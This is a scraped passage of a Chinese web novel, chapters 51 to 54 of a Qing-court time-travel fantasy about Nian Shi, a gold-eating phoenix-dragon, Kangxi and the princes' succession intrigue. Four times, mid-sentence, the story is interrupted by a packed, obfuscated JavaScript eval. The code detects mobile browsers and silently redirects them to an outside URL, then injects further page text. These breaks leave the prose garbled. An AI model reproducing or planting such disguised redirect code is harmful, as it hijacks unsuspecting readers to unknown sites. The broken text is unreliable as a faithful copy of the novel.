;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368244|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被阿玛、嫡福晋安排随年氏学习管家理财的本事,她恨不得日日在年氏面前走动,完全忘了迫在眉睫的出嫁,对初次见面的伊格格也是爱屋及乌的心生好感。 “以后,我们一起做姐妹。” 武曌伸手,与两人一起做下姐妹约定。 赛宝第一个跟从。 “好!” “我也——” 伊格格犹豫了一下,伸手迎合。 …… 姐妹约定完成,赛宝拿出下午要交穆景远批改的几何作业纸:“姐姐,这道题目——” “不会做?” 武曌接过作业纸,故意铺在伊格格面前。 赛宝惭愧地叹了口气:“我很笨,学了那么久还是——这么简单的题目都……” “这题目……” 伊格格撇嘴。 在来自四十五世纪的她看来,让赛宝犯难的这几道几何题目简单到完成初级教育的小孩子都能轻易解答。 但她毕竟是受过高等教育的人,博士论文的选题核心还是十八世纪的清朝和世界以及未来,知道四十五世纪的基本常识对十八世纪的人而言是比天方夜谭更荒诞不羁的东西,不会因为赛宝这个十八世纪的少女无法解答四十五世纪的孩童都能解答的题目就在心里嘲笑赛宝是个弱智,反倒是年世华这个十八世纪的古人竟然能熟练解答几何题这点让她大为震惊。 [果然,生物进化是以万年为单位进行,三千年前的人和三千年后的人在基础智商上不存在质的区别,可惜他们生在三千年前,无法看到三千年后的世界,即便机缘巧合接触到来自两千七百多年后的我,我也碍于时空穿梭法则不能把未来透露给他们……] [她对待当前世界的态度倒也算和蔼,没有预想中那么傲慢。] 伊格格的心声让武曌对这个来自四十五世纪的灵魂也多了几分好感,同时挖掘利用的欲望也更加强烈。 [若是能和她一起前往她的世界,亲眼看看四十五世纪究竟是什么样……] 【这个问题,以后或许有办法解决~】 凤龙冷不防发言,贪吃的舌尖隔空舔了下伊格格头上的一根细长金钗。 见此情形,武曌不免好奇。 [有个问题我一直想问你——] 【什么问题?】 [为什么你喜欢吃黄金?还有各类宝石?我发现你对黄金和各类宝石都爱不释手,却很少啃吃同样闪闪发光水晶和琉璃。] 【因为不好吃,确切的说,水晶和琉璃在我眼中是不能提供能量又味道寡淡无用之物,而宝石和黄金——】 凤龙抬手,白皙如玉的指尖捏着一颗小小黄金。 【宝石很美味,黄金更是既美味又富有营养。黄金诞生于恒星——也就是太阳的最深处,是恒星的灵魂结晶。每当恒星走完百亿年的生命历程走向死亡时,它的体内便会孕育出黄金,并在恒星迎来寂静无声又轰轰烈烈的死亡瞬间散布到宇宙的每个角落。吃下黄金,等于吃下恒星的灵魂碎片。】 51.浓郁的怨念 [恒星……太阳……灵魂……] 武曌有些似懂非懂。 凤龙的话语充斥着超越时代的认知。 但有一点可以肯定,黄金是放眼整个宇宙也极珍贵的东西。 同一时间—— 旁听年氏给赛宝讲解几何题目的伊格格有些憋不住了。 她知道不能用四十五世纪的常识来要求十八世纪的古人,但是—— 这么简单的题目! 她(赛宝)居然听了整整三遍还没听懂怎么解题! 她是猪吗!是猪吗! 不对,四十三世纪的时候科研人员基于猪脑研发的人造AI大脑就已经能支持人工智能完成非常复杂的逻辑运算,比赛宝的表现不知道聪明多少万倍! 想到这里,伊格格越加同情年世华了。 [如果她能生在四十五世纪,该是个多么光辉灿烂的女性!为什么这么美好的人却不能生在正确的时间正确的地点遇上正确的人?我真的好心疼!心疼得快要死掉了!] 生在四十五世纪、从小被各类人工智能包围因而在人与人的交往上相对单纯的伊格格不知道,当一个人对另一个人产生强烈的欣赏、怜悯和惋惜时,爱情已经近在咫尺。 但是武曌觉察到了这份细微的心思。 趁着赛宝思考的间隙,她主动问伊格格:“我发现你刚才一直看着我们,你也想学习西洋几何知识吗?” “我?” 这些题目在我们的时代连三岁小孩都不会做错!需要额外学习吗? 伊格格腹诽不已。 武曌假装完全没有觉察她的心意,笑盈盈道:“皇上和爷都喜欢西洋知识,日常言谈多有提及,若你能和我一样对西洋知识有所涉猎,必可凭此被爷另眼相看,获得为爷生下一男半女的机会,日后也能更多一份保障。” “你——” 太驯良了吧! 但是又—— 伊格格不知道怎么形容此刻的感受。 按十八世纪对女性的道德标准,年氏的言行可谓无懈可击,既无微不至地服从男权、夫权,又对同为女性的自己表达出难得的关爱和疼惜——毕竟,对这个时代的女人而言,得到丈夫的爱、给夫家生下儿子不仅仅意味着女人对男人的绝对服从,更是生活的保障。 “……姐姐你对我真是太好了!” 伊格格强忍着“哀其不幸,怒其不争”的愤怒,含泪“感谢”年世华的好意:“可惜我天生蠢笨,恐怕辜负姐姐的一片好心。” “你能被选进王府便不可能是天生蠢笨,你要对自己有信心,不要过分看轻自己。” 武曌温情鼓励伊格格。 伊格格听了这句话,眼泪都快流下来了。 [在我看来,你才是那个过分看轻自己的人啊!明明有不输给男人的才华,明明……为什么你没能生在女人和男人绝对平等的独立自主时代,为什么生在封建等级压迫最严苛的十八世纪……天性和才学都被时代扭曲,自愿为男人服务……] [四十五世纪的人都这么天真吗?或者说,四十五世纪真那么美好,以至于来自四十五世纪的你竟如此天真无邪又理所当然?] 武曌不悦地想着。 她一向是个大度的人,但是这一刻,因为伊格格的心声,她忍不住对充斥着不可思议的美好的遥远的四十五世纪产生强烈的向往和嫉妒。 [我想顶替你的灵魂,前往你的世界,亲眼看看你的四十五世纪……] 【——如果姐姐有办法让我完全长大,别说顶替伊格格的灵魂偷渡去四十五世纪,就是更遥远的六十世纪甚至一万年以后也没有任何难度~】 凤龙冷不防出声,绝美的笑容透出浑然天成的蛊惑与妖冶。 [完全成长……] 武曌心动了。 或者说,她内心深处本就存在这样的心思,因为伊格格的心声和凤龙的话语,它彻底激活。 …… …… 经过一整夜的深思熟虑,伊格格决定接受年世华的邀请,每日去年氏处和赛宝、弘时一起跟随传教士穆景远学习西洋几何知识。 以十八世纪传教士的知识储备,自然不配做来自四十五世纪的她的老师,她只想借此机会了解当前世界的科技发展情况,以及和年氏相处的时间。 ——受时空穿梭管理规定限制,她不能在十八世纪主动留下任何超越时代的知识科技,但她实在不忍心眼睁睁看着拥有不亚于被同时代和后世学者誉为“穿越到清朝的欧洲百科全书”的兄长年希尧的才学的年世华被时代扼杀天性,成为没有感情的生育机器和政治木偶。 她本可以成为不亚于王贞仪的女科学家…… 想到此处,伊格格的心更加疼了。 她发誓她要引导年世华,让年世华意识到即便是这个时代,女人也并非只有在男人的后院伺候男人、讨好男人、给男人生孩子这一条路! 武曌这边—— 透过凤龙觉察到伊格格的心思后,她有些惊讶。 [来自四十五世纪的灵魂当真是天真无邪又自以为是,四十五世纪的人享受的一切——哪怕是最微不足道的东西——都建立在之前四千五百年甚至更长时间里无数人的辛苦付出的基础之上!] 【姐姐不喜欢她?】 [不,我非常喜欢她,她很天真又很纯粹,对十八世纪的世界充满不切实际的幻想,手中还掌握着足以决定时代走向的各种科技……如能将她收为己用,必定有百利而无一害……] 【这点我赞成。】 说完,凤龙突然想起今天是和康熙约定见面的日子,于是赶紧按人类审美整理仪容,让自己看起来更像个盛世祥瑞。 看凤龙又开始用祂独有的抓鸡窝手法折腾那如丝绸般柔顺美丽的长发,武曌顿觉暴殄天物,拿起象牙梳,温柔梳弄祂的头发,一边梳一边询问。 [为什么不弄男人的发型?又简单又好打理。] 【因为丑!我不许我辛苦捏出的完美头型被半秃瓢玷污!】 凤龙愤慨发言。 …… …… 康熙自然不可能知道心心念念的盛世祥瑞对大清治下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382397|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的男人的半秃瓢发型有满腹的怨念和愤慨。 忙碌政务的他猛然抬头,看到盘龙大柱后走出凤龙那修长美丽到不真实的身形,顿时喜上眉梢。 “朕累了,出去走走。” “嗻。” 太监总管得令,训练有素地指挥宫女太监们紧急组成百人的随从队伍,捧着各类物品,浩浩荡荡跟在年迈的康熙身后,却不知肩辇上的康熙目光始终落在只有他能看到的盛世祥瑞身上。 凤龙轻飘飘坐在肩辇的红木横杠上,晃悠着二郎腿,笑嘻嘻地看着康熙。 【才几天不见,你的头发又少了许多。】 [上了年纪的人就是如此,头发每天都在掉,不停的掉,吃再多的补血生发药都没有用。] 康熙羡慕地看着凤龙那浓密得像乌云一样的头发。 [不像你,贵为盛世瑞兽……不管千年万年,头发都那么浓密乌黑……面容和皮肤也永远青春有光泽……] 【现在的形态并非我的真实形态,是为了方便和你们人类交流对话而特意幻化的。】 [那你的真实形态——] 【不是我不能以真实形态示人,而是——即便你这样的大气运之人,直视我的真实形态也可能造成暂时失明。】 在武曌身边时间久了,凤龙已经无师自通地学会撒谎。 [果然……你的真实形态是和天上的太阳一样璀璨明亮的,对吗?] 【太阳?不要把我和太阳这种只配当零嘴吃的东西相提并论。】 凤龙脱口而出。 [太阳是你的吃食……] 康熙震惊。 凤龙尴尬一笑. 【我不吃还挂在天上的太阳,但当太阳快要死的时候,我就会把它吃掉~当然,这些都是很多很多万年以后的事,你们人类是活不到那时候的~】 [人确实活不到万年以后,人活一百年都很难……] 康熙没有听出凤龙的言外之意,略有些伤感地叹了口气。 凤龙见状,自顾自伸手从康熙的腰带上摘下装满金豆子的锦袋,像小孩吃炒黄豆般抓一把扔进嘴里哔哔叭叭吃个不停。 【你最关心的大清继承人的事情……基本已经差不多……那个孩子很快就会出现,不管你现在怎么想,将来又是怎么对待……毕竟命运这种东西是天生注定,过去和未来构成完美闭环……你的任何想法都将最终成为环的一部分……】 [……环……与你的邂逅也是环的一部分?] 【当然,所有的一切都是环,从第一个生命出现到最后一团生命覆灭,世间的一切包括宇宙本身都是一个轮回圆环。】 凤龙微微一笑,天真稚嫩的脸上浮出穿越时间的隽永。 【和所有人一样,被称为万岁的你也终会迎来死亡,但也会在死亡后成为环的一部分重新进入生命……这就是生命与轮回,没有开始……没有结束……也永远都不需要感到恐惧……】 [朕不害怕死亡,朕只是……只是……] 康熙的思维突然卡顿。 因为凤龙消失了。 52.欲擒故纵 凤龙骤然消失并非武曌那边遇上麻烦事,而是祂突然想起前几日在人类的兵法书上看到的名为欲擒故纵的手段。 欲擒故纵:要牢牢抓住一个人,不能只是紧逼,应当在恰当的时间故意先放开他,使他放松戒备,充分暴露弱点,然后再把他捉住。 【试试看?】 怀着调皮的心思,凤龙展开结界消失在康熙面前。 康熙这边—— 自赫舍里皇后去世后始终高处不胜寒的帝王灵魂好不容易遇上可以平等对话的盛世祥瑞,并且这个盛世祥瑞还拥有绝非人间的美貌,言谈举止既有初生婴儿的天真无邪又有历经沧桑的智慧隽永,以至于康熙在不知不觉中深陷,看到凤龙凭空消失的瞬间,心中更卷起前所未有的烦躁! 祥瑞! 祥瑞为什么突然消失不见! 是朕刚才说错了话,还是做了什么错误的事情,让祥瑞觉得朕不是开启盛世的有为明君? 也可能—— 康熙抬头,看着紫禁城上空无处不在的黑色神鸟。 到底……到底是怎么回事! 为什么祥瑞突然消失! 祥瑞祂—— 【你在找我吗?】 凤龙再次凭空出现,腮帮鼓鼓,全是小金豆。 [你……你刚才……] 【一口气吃得有点急,回去喝了点岩浆润喉咙,现在已经顺利咽下去。】 在武曌的熏陶下,凤龙的撒谎技巧也越来越纯熟。 [喝岩浆润喉咙……] 康熙再度震惊。 [你……你居然喝岩浆……] 【难道我会像人类一样喝水?】 凤龙反问,随后,隐隐透出金色的眼睛注视着康熙。 【你还在犹豫,你想废太子,但是又不能狠下心……你期待我的预言变成现实,又担心自己在不知不觉中成为任命运摆弄的傀儡……你很痛苦……因为你一直以来都是皇帝,说一不二的皇帝,你坚信你迄今为止做出的每一件事情都是自己的决定自己的想法,你不愿意承认在你之上还有更高层次的存在……虽然你又在潜意识中渴望着那些被你们尊为‘天命’、‘神灵’的东西……】 [你……你……] 康熙的身体微微发抖。 藏匿多年的真实心思被外表酷似十五、六岁的少男少女的祥瑞轻易说出口,即便知道对方是拥有看穿人心的力量的祥瑞,他还是会感到强烈的不安和惶恐。 【你害怕我把你的秘密告诉别人?】 [也对,你是世间独一的祥瑞,即便被你知道真心所想,朕也不用担心朕的这些心思会被外人知晓……你……] 康熙想了一下,有些愧疚地看着凤龙。 [我暂时不想见你。] 【我也一样。】 说完,凤龙再次凭空消失,临走时不忘把康熙腰带上吊着的另一包金瓜子也带走。 看着风龙消失的方向,摸着空荡荡的腰带,康熙露出无奈的笑容。 [果然是孩子心性……] …… …… 五月,宫中传出圣旨,赛宝作为雍亲王府的长女依祖制受封郡主,下嫁纳喇氏星德为嫡妻,年内择吉日成婚,婚礼所需嫁妆物品责内务府置办。 收到喜讯,李佳氏欢天喜地,双手合十拜谢神佛:“咱们爷果然是皇上看重的阿哥,不仅给大格格指了门好婚事,还让内务府负责置办婚礼所需物品!” “毕竟是和硕亲王,哪能按寻常宗亲的规格处理婚事。” 嫡福晋不屑地看了眼欢喜到失态的李佳氏,对钮祜禄氏道:“四格格才出生就得德妃额涅欢心,将来出嫁指不定是什么铺张排场!” “姐姐说得极是。” 钮祜禄氏低眉顺眼地说道。 李佳氏晓得嫡福晋此时说这话是故意给她眼色,心里不爽却也无可奈何,随即满身沁着欢喜去给女儿张罗准备婚事了。 乌拉那拉氏冷笑着目送她离开,对身形逐渐明显的年世华道:“妹妹近来身体如何?有什么不舒服的可千万不能忍着,该叫大夫就叫大夫,想吃什么就让厨房给你准备。” “这么铺张,传出去不会让人闲话我们雍亲王府——” “寻常人家尚且知道好生对待孕妇,何况你怀的是我们雍亲王府的凤子龙孙?” 乌拉那拉氏毫不掩饰自己的偏心:“雍亲王府子孙单薄,迄今只有二子二女,单看这点,妹妹你这一胎可是准备多少小心都不为过。” [只有你平安生下未来的大清皇帝,我这个嫡母才能顺顺当当成为大清皇后,母仪天下。] “谢姐姐关爱,妹妹一定竭尽全力保证孩子平安降生。” 武曌温情脉脉地说着,看了眼神游天外的耿佳氏:“妹妹似乎心不在焉?” “我……我……” “可是弘昼晚上太过吵闹,扰得你无法安眠?” 乌拉那拉氏略带酸味地问道。 即便下定决心放下,她内心深处依然还是记挂着她的弘晖。 “回姐姐的话,弘昼是个聪明懂事的孩子,并不会过分吵闹,只是——只是妹妹初次做母亲,即便有嬷嬷们随时帮忙照顾,依旧难免手忙脚乱……成日担心孩子出事,以至于患得患失不知所措……” “别家或许确实存在嫡母善妒虐待谋害姬妾所生子女之事,但在雍亲王府,这种事情绝无可能发生,妹妹只管放心,”乌拉那拉氏当场承诺,“作为嫡福晋,我希望府里的孩子越多越好,每个能健健康康。” “姐姐说得极是。” 耿佳氏不安地回答道。 不知为何,自从弘昼出生,她的心便始终感觉空荡荡,好像丢了非常重要的东西。大夫说这是因为她生孩子后没有坐好月子,身体亏空虚弱,进而心绪失调,情绪低落,需要长时间的慢慢调理才能走出来。 …… …… 凤龙的话既让康熙感到强烈的不安,也感受到了命运在耳畔呼啸而过的刚烈。 经过短暂的酝酿思考,他终于再次下定决心,命宗人府等衙门审查步军统领托合齐,尚书齐世武、耿额等结党会饮一案,下旨时亲自暗示办差官员将此事一查到底,哪怕查到此事与太子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399804|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关也不可退缩! “嗻。” 办差人会意,领旨退下。 伺候在皇帝身边的各色人等也嗅到政治风云即将大变的气息。 …… 多年来,胤禩一直都用胤禟的钱广结善缘,上至朝堂官员下至街头说书甚至连皇帝身边侍奉的太监侍卫……无不受八阿哥恩惠。作为回报,以康熙皇帝为核心的紫禁城里有任何风吹草动,胤禩都是众阿哥中最早收到风声的。 因此—— 审查的旨意颁布当天,胤禩就收到消息。 他敲着折扇细细一琢磨,意识到大事不妙:“皇阿玛可能要二废太子!” “啊?此事当真?” 老九胤禟惊愕:“二哥这回才做了多久太子?怎么又要被废?” “因为皇阿玛是为了打压我才二立太子,压根没想过让二哥有机会继承大统!” 胤禩阴嗖嗖道:“如今皇阿玛见我舍弃谋求太子之位的奢望,自己的身体又一天不如一天,他自然要考虑废掉太子,立自己真正中意的人为储君,免得发生万一情况。” “什么样的万一?” 胤禟明知故问。 胤禩:“万一山陵崩而太子未改,岂不就——” “那如今最希望皇阿玛……必定是……” “如果我是太子,我也一定会……” “哈哈哈哈!” 说到此处,两人会心一笑。 随后,他们开始讨论如何推举胤禵上位。 ——胤禵最终能不能上位不重要,重要的是让皇阿玛相信胤禩已经放下追求储君之位的念头,停止对他们的打压,甚至委以重任,然后再关键时刻逆境翻盘,打所有人一个措手不及! “……单纯的胤禵居然真认为我们准备扶他坐上皇帝之位,希望真相大白那天,他能够安详认命。” 从始至终都把自己定义为胤禩的辅佐者的胤禟笑得花枝乱颤。 胤禩则是叹了口气,道:“我们为了皇位辛苦谋划了这么多年,怎么可能最后关头为他人做嫁衣?也就是胤禵会信我们的话,认为我们能为了手足之情舍弃江山,换做胤禛……就算我砍下你的脑袋作为结盟承诺,他也不会相信。” “所以胤禛是胤禛,胤禵是胤禵。” 胤禟直言不讳。 当天稍晚些时候—— 与八贝勒府仅一墙之隔的雍亲王府也收到了皇帝可能对太子动手的噩耗。 胤禛闻讯,当即前往胤祥处。 他担心胤祥因为过往的亲密再次被胤礽牵连,特意给胤祥通风报信,要求胤祥做好准备,关键时刻撇清和胤礽的一切关联! “十三弟,二哥或许曾经对你很好,但那都是过去的事。如今的你不是二哥的跟班,你有你的身份和立场,也有你的家人,你要保护好自己,和我一起活到新君登基。” “四哥,你这话——” “朝中即将风云再变,并且这场风云直挺挺冲着二哥。” 胤禛顿了一下,将紫禁城的最新动向一五一十全部告诉受胤礽牵连至今活在半监视与半隔绝中的胤祥。 53.年少轻狂 听完四哥的讲述,胤祥脸上泛起苦闷:“二哥对我向来……” “他对你如何,我是最清楚不过。” 胤禛打断胤祥的话,强调道:“早在二哥第一次被废时,你就已经尽了身为弟弟和辅佐的义务,你没有必要为他做到把自己粉身碎骨的地步。” “粉身碎骨……” 胤祥摇摇头:“我从未想过为二哥粉身碎骨,虽然从小就被皇阿玛教导要服从二哥、做二哥的忠臣。” “那你刚才——” “我只是在想一件事,一件对我们的以后至关重要的事。” 胤祥抬头,看着胤禛的眼睛:“二哥倘若再次被废,谁会接替他成为大清储君?将来继承大统?” “你也——” “我从未对皇位怀有奢望,”胤祥坦荡荡地说道,“皇阿玛也从未考虑过我。但是四哥,你……你的心……我一直都知道……” “是的,我想要皇位。” 当着胤祥的面,胤禛坦白直言:“二哥第一次被废太子前,我已经对皇位产生妄念!更确切地说,早在二哥踹我心口的那一刻,我就开始怀疑皇阿玛的选择!凭什么这种喜怒无常、苛待兄弟的人可以做太子,同父异母的我们却……却必须从小作为臣子侍奉他!他只是碰巧投胎成了赫舍里皇后的儿子!这不公平,一点都不公平!” “我也是从那天开始突然意识到二哥或许不会成为皇帝,”胤祥轻声道,“不是说皇帝必须宽宏大度,可他还未登基就如此苛待兄弟,理所当然地享受皇阿玛给予的各种特权,稍有不悦变用身边人撒气泄火……这样的私德品行,真的能成为合格的皇帝吗?” “所以你——” “我从未想过反抗皇阿玛的安排,他命令我跟在太子身后辅佐太子,我便始终跟着太子,但是我的心……我心中从未真正认可过太子,一废以后更是如此……我有时甚至觉得谁做太子都不会比二哥更糟糕……” 说到这里,胤祥双手捂脸,发出痛苦的声音:“我是诸多兄弟中与二哥最亲密的那个,我非常清楚二哥为什么会变成现在这样……他并不是生来就如此苛刻骄纵傲慢残忍……他是……是……可惜皇阿玛永远不会承认他也有错……他只觉得二哥辜负了他的期望……” “皇阿玛对待二哥……有时确实……” 胤禛叹了口气,拍了拍胤祥的肩膀:“我已经把我的真心想法和盘托出,你也说出了你的真实感受,以后——” “我将不会参与与储君之位有关的任何事,”胤祥道,“我只是皇阿玛为新君准备的辅佐之人,谁成为新君,我就辅佐谁,专心致志矢志不移。” “——哪怕此刻邀请你的人是我?” “四哥……” 胤祥苦涩一笑,指了指自己的腿:“经过一个冬天,腿上的毒疮越来越严重,我就是有心帮你,恐怕也——” “我明白了。” 胤禛起身,怜悯地看着胤祥:“十三弟,好好养病。” “谢四哥关心。” 说完,胤祥又冷不防问道:“听说年氏怀了身孕,十月左右将要生产?” “确有此事。” 胤禛脸上泛起喜悦:“皇阿玛也对年氏的孩子有一定的期待,认为她会为爱新觉罗家生下聪明有为的后代。” “弟弟亦是如此。” …… …… 二废太子的信息一经放出,满汉群臣闻风而动。 数日功夫,弹劾太子胤礽日常种种过失错误的奏章就堆积如山,看得康熙直皱眉头,拂袖道:“平日里对着太子阿谀逢迎,恨不得趴在地上做狗,如今只朕一个眼神就……全是些不堪大用的佞臣!” “皇上息怒,皇上息怒。” 一干太监宫女纷纷下跪哀求。 康熙见此情形,不由叹道:“孤家寡人,果然是孤家寡人。” 随后,他走出大殿,坐肩辇来到永和宫中,扶起跪地迎接的德妃:“不必多礼。” “谢皇上恩典——” 德妃顺着康熙的搀扶起身,战战兢兢地问道:“皇上突然来奴才这边,莫不是老四或者十四犯了错?” “他们没有犯错,他们把朕交代的差事办得很好,朕来你这边只因为朕突然感觉心烦意乱,想找个人坐下来说话。” 叹息间,康熙走进永和宫,让德妃坐在身旁。 “谢皇上——” “朕有意废太子。” 康熙骤然开口,吓得德妃手中宫扇“啪嗒”落地。 “皇上,您……您……” “朕打算另立太子了。” 康熙缓慢而笃定地说道:“胤礽又一次让朕失望,朕决定废了他,从朕的其他儿子里选出更合适的太子人选。” “孝庄太后留下规矩,后宫不得干政,废立太子乃是国家大事,奴才不敢有半句议论。” 德妃低着头,不敢接康熙的话。 “废太子这种事情,你作为后宫妇人确实没有资格插嘴议论,但你作为老四和十四的母亲,有资格评判你的两个儿子。” 康熙的话有些微妙。 德妃一时不知如何回答,只能低着头:“奴才——” “关于你的两个儿子,你只管说你知道的琐碎事即可,不必担心你的言论可能左右太子废立之事。” 康熙鼓励德妃发言。 德妃想了一下,抬起头,苦闷地说道:“老四自小被皇上交孝懿皇后鞠养,虽是奴才的亲骨肉,终究难免有几分疏远,不及十四承欢膝下更得奴才的喜欢。奴才恐怕奴才对他们的评价有失偏颇——” “偏颇也无妨,朕就想听听你作为母亲对你的两个儿子的看法。” “嗻。” 德妃叹了口气,略有些无奈地说道:“奴才与老四本就有些隔膜,偏生老四性格内敛沉稳,平日里喜怒不形于色,以至于奴才每次与他见面,事前想着此番定要与他亲昵,可真到了见面的时候……看着他的眼睛,心里就会涌起莫名地害怕……预先准备好的话竟是一个字都说不出口……” “老四有时确实严肃得让人不喜欢。” 康熙喝了口奶茶,继续道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430548|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“十四呢?十四在你看来如何?” “十四从小就是个聪明乖巧懂事又热情活泼的孩子。” 说起十四阿哥胤禵,德妃嘴角不自觉溢出笑容:“他非常懂事体贴,笑起来眼睛里有星星,小时候成天围着奴才,成年分出去以后也是每次来探望奴才都会给永和宫带来欢声笑语……听宫女太监们说,胤禵在宫外也是个非常受欢迎的阿哥,朝中大臣喜欢她,满洲勋贵信服他……尤其是他的骑射功夫——比老四简直一个天一个地。” “十四的骑射功夫确实比老四强些。” 康熙淡淡说道。 虽然德妃坚持胤禵比胤禛优秀,但在康熙看来,胤禛和胤禵的能力相差并不大,何况胤禛早在十年前就为他办差、帮他处理朝堂内外的棘手事,立下不少功勋,远比年轻又喜欢夸口的胤禵更值得信任,更有可能在新君登基后成为朝堂的中流砥柱。 然而,正因为他对除胤礽以外的皇子们的培养方向都是新君的辅佐大臣,一旦被寄以厚望的储君胤礽发生意外,事情就变得异常棘手! 胤礽不中用了。 剩下的阿哥里没有一个人曾经接受过储君教育,可以无缝接替。 倘若胤禵晚出生三年或是日常表现得更加谦虚好学不那么年少轻狂,他或许可以—— 偏偏…… “年少轻狂是好事,但生为皇家人太过轻狂终究不是一件好事。” 如此无缘故地叹了一句,康熙走出永和宫。 德妃握紧宫扇,满面疑窦。 皇上这话究竟什么意思? 年少轻狂是好事?皇家人轻狂终究不是好事? …… 因为珍惜小儿子,德妃最终还是违背了后宫不得干政的祖训,派心腹嬷嬷领腰牌出宫,将康熙的评语带给胤禵。 胤禵收到额涅的话,也是丈二和尚摸不着头脑,得知这句话是皇阿玛与德妃额涅谈论四哥和自己的优劣时所处的评语,于是带着这句话找上八哥胤禩、九哥胤禟。 “八哥、九哥,你们帮我参谋一下,皇阿玛这话究竟有几个意思?” “这句话听起来……有些微妙……” 胤禩眯眼。 胤禟则是眼珠转动,狡诈暗示道:“很显然皇阿玛对你寄以厚望,希望你能够像四哥那样变得沉稳一些,将来或许可以继承大统。” “哦?此话当真?” 胤禵大喜。 胤禟道:“年少轻狂指的是你现在的姿态,轻狂是好事,说明皇阿玛喜欢你现在的样子,皇家人轻狂不是好事指的则是如果按储君的标准,你不能太过轻狂,要像四哥那样稳重内敛才是做皇帝的材料。” “既然四哥的沉重内敛是做皇帝的材料,皇阿玛为何不——” “皇阿玛不可能立老四做储君。” 胤禩突然开口,打断胤禵的担忧:“皇阿玛近来常在公开场合嫌弃二哥作为储君年纪太大,若是废了老二立只比老二小四岁的老四做太子,岂不是自己打自己的脸?哪怕只是为了颜面,皇阿玛也要选个年轻阿哥做太子。” 54.热锅上的蚂蚁 不同于一废时的奋力挣扎和气急败坏,面对随时可能到来的二废,对未来早已失去希望的胤礽像瘫痪一样麻木不仁地躺在太子宫中,等待着随时可能降临的最终宣判。 倒是太子福晋急成了热锅上的蚂蚁,跪在胤礽面前哀求哭泣:“怎么办!怎么办!太子殿下,求求你说句话吧!难道我们真的只能……” “皇阿玛想做的事情,谁都无法改变,何况我……皇阿玛对我早已没了当年的感情,不挣扎还好……挣扎……挣扎只会让自己死得更惨。” 胤礽的声音阴森得仿佛来自黄泉深处,眼睛也死气沉沉,没有一点光。 太子福晋见胤礽如此绝望颓废,晓得大势已去,“噗通”一声跌坐在地,哀叹道:“这就是生在皇家的命运吗?父子不像父子,兄弟不是兄弟,连夫妻也……” “你要是担心前路,我可以与你和离,让你回娘家另寻好人。” 胤礽幽幽说道,“满人不讲究守节,世祖皇帝的废皇后尚且可以随父亲卓里克图亲王吴克善回蒙古老家自行生活,康熙元年甚至还能回京城参加世祖皇帝的周年祭礼,皇阿玛的后宫中也有多位低位妃嫔因为不适应紫禁城被允许出宫,何况你只是废太子的福晋……” “——可我不想和离!我要留下来!哪怕将来和你一起被皇阿玛圈禁,永世不见天日,我也心甘情愿!” 说到这里,太子福晋忍不住嚎啕哭泣。 见太子福晋待自己如此情真意切,胤礽不由心疼,将屋内闲杂人等遣散,对太子福晋低声道:“我们并非真的已经山穷水尽。” “啊?” 太子福晋愕然,含泪看着胤礽:“您的意思是……” “前几日,皇阿玛去了德妃娘娘处,让德妃娘娘评价老四和十四,之后又去太庙擦拭祖宗牌位……因此有传言认为皇阿玛会在老四和十四中选一个接替我成为大清储君。” “这……” 太子福晋心慌。 她想起太子当年曾踹伤老四—— “太子爷和四阿哥有旧怨,若皇阿玛立四阿哥为储君,爷和我们所有人恐怕都要死无葬生之地。” “我倒觉得倘若皇阿玛选老四做太子,将来可以安全无忧。” “为什么这样想?” 太子福晋不解。 胤礽道:“因为老四是个稳重内敛爱颜面的人,他不想也不能轻易落下苛待兄弟的名义。何况,比起老四,十四才是更让我感到不安的那个人。” “十四?” “十四性格冲动,而且他近来和老八、老九关系亲密。” 胤礽面色微微发冷:“世人都说老八是八贤王,我却只觉得他是伪君子。还有老九,整日里像商人一样蝇营狗苟左右算计,毫无皇家阿哥的风度!” “依着太子的意思,我们该怎么办?” 太子福晋小心翼翼问道。 胤礽再次沉默。 太子福晋见状,思量一番后,提议道:“听说老四的侧福晋最晚十月就能生育,趁皇上现在还没有正式发落我们,我想——” “你想做什么就做什么,不用问我,反正……” 